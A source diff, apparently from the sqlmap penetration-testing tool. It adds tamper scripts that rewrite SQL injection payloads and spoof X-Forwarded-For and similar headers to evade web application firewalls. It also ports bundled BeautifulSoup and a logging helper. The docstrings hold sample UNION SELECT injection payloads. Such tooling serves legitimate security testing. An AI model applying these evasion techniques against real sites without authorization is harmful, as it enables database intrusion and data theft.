a/tamper/substring2leftright.py b/tamper/substring2leftright.py new file mode 100644 index 00000000000..9df851a584f --- /dev/null +++ b/tamper/substring2leftright.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces PostgreSQL SUBSTRING with LEFT and RIGHT + + Tested against: + * PostgreSQL 9.6.12 + + Note: + * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT) + + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)') + 'LEFT((SELECT usename FROM pg_user)::text,1)' + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)') + 'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)' + """ + + retVal = payload + + if payload: + match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload) + + if match: + pos = int(match.group(2)) + if pos == 1: + _ = "LEFT(%s,1)" % (match.group(1)) + else: + _ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos) + + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py new file mode 100644 index 00000000000..c7588aeb02a --- /dev/null +++ b/tamper/symboliclogical.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) + + >>> tamper("1 AND '1'='1") + "1 %26%26 '1'='1" + """ + + retVal = payload + + if payload: + retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) + + return retVal diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 85576596f99..16e4ab7d477 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,12 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import re - from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -14,13 +12,12 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces UNION ALL SELECT with UNION SELECT + Replaces instances of UNION ALL SELECT with UNION SELECT counterpart - Example: - * Input: -1 UNION ALL SELECT - * Output: -1 UNION SELECT + >>> tamper('-1 UNION ALL SELECT') + '-1 UNION SELECT' """ return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 735dba93f7b..5ccde715b9d 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -14,20 +15,18 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces quote character (') with a multi-byte combo %bf%27 together with - generic comment at the end (to make it work) - - Example: - * Input: 1' AND 1=1 - * Output: 1%bf%27 AND 1=1--%20 + Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string + + >>> tamper("1' AND 1=1") + '1%bf%27-- -' """ retVal = payload @@ -45,7 +44,10 @@ def tamper(payload): continue if found: - retVal = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal) - retVal += "-- " - + _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) + if _ != retVal: + retVal = _ + retVal += "-- -" + elif not any(_ in retVal for _ in ('#', '--', '/*')): + retVal += "-- -" return retVal diff --git a/tamper/uppercase.py b/tamper/uppercase.py new file mode 100644 index 00000000000..81774a99968 --- /dev/null +++ b/tamper/uppercase.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces each keyword character with upper case value (e.g. select -> SELECT) + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that has poorly written permissive regular expressions + * This tamper script should work against all (?) databases + + >>> tamper('insert') + 'INSERT' + """ + + retVal = payload + + if payload: + for match in re.finditer(r"[A-Za-z_]+", retVal): + word = match.group() + + if word.upper() in kb.keywords: + retVal = retVal.replace(word, word.upper()) + + return retVal diff --git a/tamper/varnish.py b/tamper/varnish.py new file mode 100644 index 00000000000..92fb98cb3fd --- /dev/null +++ b/tamper/varnish.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall + + Reference: + * https://web.archive.org/web/20160815052159/http://community.hpe.com/t5/Protect-Your-Assets/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + + Notes: + Examples: + >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) + >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) + >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) + >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) + >> X-remote-IP: * or %00 or %0A + """ + + headers = kwargs.get("headers", {}) + headers["X-originating-IP"] = "127.0.0.1" + return payload diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index d5bcd1d36fe..7ab70933198 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -18,13 +18,9 @@ def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Encloses each non-function keyword with versioned MySQL comment - - Example: - * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# - * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# + Encloses each non-function keyword with (MySQL) versioned comment Requirement: * MySQL @@ -35,6 +31,9 @@ def tamper(payload): Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') + '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' """ def process(match): @@ -47,7 +46,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index a2006ac6c80..aea7d50e598 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -19,13 +19,9 @@ def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Encloses each keyword with versioned MySQL comment - - Example: - * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# - * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# + Encloses each keyword with (MySQL) versioned comment Requirement: * MySQL >= 5.1.13 @@ -36,6 +32,9 @@ def tamper(payload): Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') + '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' """ def process(match): @@ -48,7 +47,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py new file mode 100644 index 00000000000..110bbbfd6f1 --- /dev/null +++ b/tamper/xforwardedfor.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import random + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def randomIP(): + octets = [] + + while not octets or octets[0] in (10, 172, 192): + octets = random.sample(xrange(1, 255), 4) + + return '.'.join(str(_) for _ in octets) + +def tamper(payload, **kwargs): + """ + Append a fake HTTP header 'X-Forwarded-For' (and alike) + """ + + headers = kwargs.get("headers", {}) + headers["X-Forwarded-For"] = randomIP() + headers["X-Client-Ip"] = randomIP() + headers["X-Real-Ip"] = randomIP() + headers["CF-Connecting-IP"] = randomIP() + headers["True-Client-IP"] = randomIP() + + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + headers["Via"] = "1.1 Chrome-Compression-Proxy" + + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0] + + return payload diff --git a/thirdparty/__init__.py b/thirdparty/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/thirdparty/ansistrm/__init__.py b/thirdparty/ansistrm/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py new file mode 100644 index 00000000000..4d9731c1b68 --- /dev/null +++ b/thirdparty/ansistrm/ansistrm.py @@ -0,0 +1,171 @@ +# +# Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. +# (Note: 2018 modifications by @stamparm) +# + +import logging +import re +import sys + +from lib.core.settings import IS_WIN + +if IS_WIN: + import ctypes + import ctypes.wintypes + + # Reference: https://gist.github.com/vsajip/758430 + # https://github.com/ipython/ipython/issues/4252 + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686047%28v=vs.85%29.aspx + ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.WORD] + ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL + +def stdoutEncode(data): # Cross-referenced function + return data + +class ColorizingStreamHandler(logging.StreamHandler): + # color names to indices + color_map = { + 'black': 0, + 'red': 1, + 'green': 2, + 'yellow': 3, + 'blue': 4, + 'magenta': 5, + 'cyan': 6, + 'white': 7, + } + + # levels to (background, foreground, bold/intense) + level_map = { + logging.DEBUG: (None, 'blue', False), + logging.INFO: (None, 'green', False), + logging.WARNING: (None, 'yellow', False), + logging.ERROR: (None, 'red', False), + logging.CRITICAL: ('red', 'white', False) + } + csi = '\x1b[' + reset = '\x1b[0m' + bold = "\x1b[1m" + disable_coloring = False + + @property + def is_tty(self): + isatty = getattr(self.stream, 'isatty', None) + return isatty and isatty() and not self.disable_coloring + + def emit(self, record): + try: + message = stdoutEncode(self.format(record)) + stream = self.stream + + if not self.is_tty: + if message and message[0] == "\r": + message = message[1:] + stream.write(message) + else: + self.output_colorized(message) + stream.write(getattr(self, 'terminator', '\n')) + + self.flush() + except (KeyboardInterrupt, SystemExit): + raise + except IOError: + pass + except: + self.handleError(record) + + if not IS_WIN: + def output_colorized(self, message): + self.stream.write(message) + else: + ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') + + nt_color_map = { + 0: 0x00, # black + 1: 0x04, # red + 2: 0x02, # green + 3: 0x06, # yellow + 4: 0x01, # blue + 5: 0x05, # magenta + 6: 0x03, # cyan + 7: 0x07, # white + } + + def output_colorized(self, message): + parts = self.ansi_esc.split(message) + h = None + fd = getattr(self.stream, 'fileno', None) + + if fd is not None: + fd = fd() + + if fd in (1, 2): # stdout or stderr + h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) + + while parts: + text = parts.pop(0) + + if text: + self.stream.write(text) + self.stream.flush() + + if parts: + params = parts.pop(0) + + if h is not None: + params = [int(p) for p in params.split(';')] + color = 0 + + for p in params: + if 40 <= p <= 47: + color |= self.nt_color_map[p - 40] << 4 + elif 30 <= p <= 37: + color |= self.nt_color_map[p - 30] + elif p == 1: + color |= 0x08 # foreground intensity on + elif p == 0: # reset to default color + color = 0x07 + else: + pass # error condition ignored + + ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) + + def _reset(self, message): + if not message.endswith(self.reset): + reset = self.reset + elif self.bold in message: # bold + reset = self.reset + self.bold + else: + reset = self.reset + + return reset + + def colorize(self, message, levelno): + if levelno in self.level_map and self.is_tty: + bg, fg, bold = self.level_map[levelno] + params = [] + + if bg in self.color_map: + params.append(str(self.color_map[bg] + 40)) + + if fg in self.color_map: + params.append(str(self.color_map[fg] + 30)) + + if bold: + params.append('1') + + if params and message: + if message.lstrip() != message: + prefix = re.search(r"\s+", message).group(0) + message = message[len(prefix):] + else: + prefix = "" + + message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), + 'm', message, self.reset))) + + return message + + def format(self, record): + message = logging.StreamHandler.format(self, record) + return self.colorize(message, record.levelno) diff --git a/extra/beautifulsoup/__init__.py b/thirdparty/beautifulsoup/__init__.py similarity index 94% rename from extra/beautifulsoup/__init__.py rename to thirdparty/beautifulsoup/__init__.py index 7954a3d0a47..a905a4ce403 100644 --- a/extra/beautifulsoup/__init__.py +++ b/thirdparty/beautifulsoup/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright (c) 2004-2010, Leonard Richardson # @@ -16,7 +16,7 @@ # disclaimer in the documentation and/or other materials provided # with the distribution. # -# * Neither the name of the the Beautiful Soup Consortium and All +# * Neither the name of the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. diff --git a/extra/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py similarity index 93% rename from extra/beautifulsoup/beautifulsoup.py rename to thirdparty/beautifulsoup/beautifulsoup.py index cde92ee112c..849956bb0e2 100644 --- a/extra/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -77,27 +77,47 @@ """ from __future__ import generators +from __future__ import print_function __author__ = "Leonard Richardson (leonardr@segfault.org)" -__version__ = "3.2.0" -__copyright__ = "Copyright (c) 2004-2010 Leonard Richardson" +__version__ = "3.2.1b" +__copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" -from sgmllib import SGMLParser, SGMLParseError import codecs -import markupbase -import types import re -import sgmllib +import sys + +if sys.version_info >= (3, 0): + xrange = range + text_type = str + binary_type = bytes + basestring = str + unichr = chr +else: + text_type = unicode + binary_type = str + try: - from htmlentitydefs import name2codepoint + from html.entities import name2codepoint except ImportError: - name2codepoint = {} + from htmlentitydefs import name2codepoint + try: set except NameError: from sets import Set as set +try: + import sgmllib +except ImportError: + from lib.utils import sgmllib + +try: + import markupbase +except ImportError: + import _markupbase as markupbase + #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match @@ -106,7 +126,7 @@ def _match_css_class(str): """Build a RE to match the given CSS class.""" - return re.compile(r"(^|.*\s)%s($|\s)" % str) + return re.compile(r"(^|.*\s)%s($|\s)" % re.escape(str)) # First, the classes that represent markup elements. @@ -114,6 +134,21 @@ class PageElement(object): """Contains the navigational information for some part of the page (either a tag or a piece of text)""" + def _invert(h): + "Cheap function to invert a hash." + i = {} + for k,v in h.items(): + i[v] = k + return i + + XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", + "quot" : '"', + "amp" : "&", + "lt" : "<", + "gt" : ">" } + + XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) + def setup(self, parent=None, previous=None): """Sets up the initial relations between this element and other elements.""" @@ -355,7 +390,7 @@ def _findAll(self, name, attrs, text, limit, generator, **kwargs): g = generator() while True: try: - i = g.next() + i = next(g) except StopIteration: break if i: @@ -406,22 +441,24 @@ def substituteEncoding(self, str, encoding=None): def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" - if isinstance(s, unicode): - if encoding: - s = s.encode(encoding) - elif isinstance(s, str): + if isinstance(s, text_type): if encoding: s = s.encode(encoding) - else: - s = unicode(s) + elif isinstance(s, binary_type): + s = s.encode(encoding or "utf8") else: - if encoding: - s = self.toEncoding(str(s), encoding) - else: - s = unicode(s) + s = self.toEncoding(str(s), encoding or "utf8") return s -class NavigableString(unicode, PageElement): + BARE_AMPERSAND_OR_BRACKET = re.compile(r"([<>]|&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;))") + + def _sub_entity(self, x): + """Used with a regular expression to substitute the + appropriate XML entity for an XML special character.""" + return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" + + +class NavigableString(text_type, PageElement): def __new__(cls, value): """Create a new NavigableString. @@ -431,9 +468,9 @@ def __new__(cls, value): passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ - if isinstance(value, unicode): - return unicode.__new__(cls, value) - return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) + if isinstance(value, text_type): + return text_type.__new__(cls, value) + return text_type.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) @@ -445,16 +482,18 @@ def __getattr__(self, attr): if attr == 'string': return self else: - raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__.__name__, attr) + raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr)) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): - if encoding: - return self.encode(encoding) + # Substitute outgoing XML entities. + data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) + if encoding and sys.version_info < (3, 0): + return data.encode(encoding) else: - return self + return data class CData(NavigableString): @@ -480,45 +519,34 @@ class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" - def _invert(h): - "Cheap function to invert a hash." - i = {} - for k,v in h.items(): - i[v] = k - return i - - XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", - "quot" : '"', - "amp" : "&", - "lt" : "<", - "gt" : ">" } - - XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) - def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" - x = match.group(1) - if self.convertHTMLEntities and x in name2codepoint: - return unichr(name2codepoint[x]) - elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: - if self.convertXMLEntities: - return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] - else: - return u'&%s;' % x - elif len(x) > 0 and x[0] == '#': - # Handle numeric entities - if len(x) > 1 and x[1] == 'x': - return unichr(int(x[2:], 16)) - else: - return unichr(int(x[1:])) + try: + x = match.group(1) + if self.convertHTMLEntities and x in name2codepoint: + return unichr(name2codepoint[x]) + elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: + if self.convertXMLEntities: + return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] + else: + return u'&%s;' % x + elif len(x) > 0 and x[0] == '#': + # Handle numeric entities + if len(x) > 1 and x[1] == 'x': + return unichr(int(x[2:], 16)) + else: + return unichr(int(x[1:])) - elif self.escapeUnrecognizedEntities: - return u'&%s;' % x - else: - return u'&%s;' % x + elif self.escapeUnrecognizedEntities: + return u'&%s;' % x + + except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000) + pass + + return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): @@ -543,10 +571,11 @@ def __init__(self, parser, name, attrs=None, parent=None, self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. - convert = lambda(k, val): (k, - re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", - self._convertEntities, - val)) + # Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8 + convert = lambda k_val: (k_val[0], + re.sub(r"&(#\d+|#x[0-9a-fA-F]+|\w+);", + self._convertEntities, + k_val[1])) self.attrs = map(convert, self.attrs) def getString(self): @@ -567,7 +596,7 @@ def getText(self, separator=u""): stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next @@ -644,7 +673,7 @@ def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" - return apply(self.findAll, args, kwargs) + return self.findAll(*args, **kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) @@ -652,7 +681,7 @@ def __getattr__(self, tag): return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) - raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__, tag) + raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__, tag)) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, @@ -681,15 +710,6 @@ def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): def __unicode__(self): return self.__str__(None) - BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" - + "&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)" - + ")") - - def _sub_entity(self, x): - """Used with a regular expression to substitute the - appropriate XML entity for an XML special character.""" - return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" - def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and @@ -814,6 +834,7 @@ def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, s.append(text) if prettyPrint: s.append("\n") + return ''.join(s) #Soup methods @@ -874,10 +895,10 @@ def childGenerator(self): def recursiveChildGenerator(self): if not len(self.contents): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: yield current current = current.next @@ -967,8 +988,8 @@ def search(self, markup): if self._matches(markup, self.text): found = markup else: - raise Exception, "I don't know how to match against a %s" \ - % markup.__class__ + raise Exception("I don't know how to match against a %s" \ + % markup.__class__) return found def _matches(self, markup, matchAgainst): @@ -984,7 +1005,7 @@ def _matches(self, markup, matchAgainst): if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): - markup = unicode(markup) + markup = text_type(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. @@ -994,8 +1015,8 @@ def _matches(self, markup, matchAgainst): elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): - if isinstance(markup, unicode): - matchAgainst = unicode(matchAgainst) + if isinstance(markup, text_type): + matchAgainst = text_type(matchAgainst) else: matchAgainst = str(matchAgainst) @@ -1033,7 +1054,7 @@ def buildTagMap(default, *args): # Now, the parser classes. -class BeautifulStoneSoup(Tag, SGMLParser): +class BeautifulStoneSoup(Tag, sgmllib.SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the @@ -1057,9 +1078,9 @@ class BeautifulStoneSoup(Tag, SGMLParser): QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] - MARKUP_MASSAGE = [(re.compile('(<[^<>]*)/>'), + MARKUP_MASSAGE = [(re.compile(r'(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), - (re.compile('<!\s+([^<>]*)>'), + (re.compile(r'<!\s+([^<>]*)>'), lambda x: '<!' + x.group(1) + '>') ] @@ -1134,7 +1155,7 @@ class has some tricks for dealing with some HTML that kills self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) - SGMLParser.__init__(self) + sgmllib.SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() @@ -1159,7 +1180,7 @@ def convert_charref(self, name): def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup - if isinstance(markup, unicode): + if isinstance(markup, text_type): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: @@ -1183,7 +1204,7 @@ def _feed(self, inDocumentEncoding=None, isHTML=False): del(self.markupMassage) self.reset() - SGMLParser.feed(self, markup) + sgmllib.SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: @@ -1196,7 +1217,7 @@ def __getattr__(self, methodName): if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): - return SGMLParser.__getattr__(self, methodName) + return sgmllib.SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: @@ -1205,13 +1226,13 @@ def __getattr__(self, methodName): def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" - return self.SELF_CLOSING_TAGS.has_key(name) \ - or self.instanceSelfClosingTags.has_key(name) + return name in self.SELF_CLOSING_TAGS \ + or name in self.instanceSelfClosingTags def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 - SGMLParser.reset(self) + sgmllib.SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] @@ -1298,7 +1319,7 @@ def _smartPop(self, name): nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None - isResetNesting = self.RESET_NESTING_TAGS.has_key(name) + 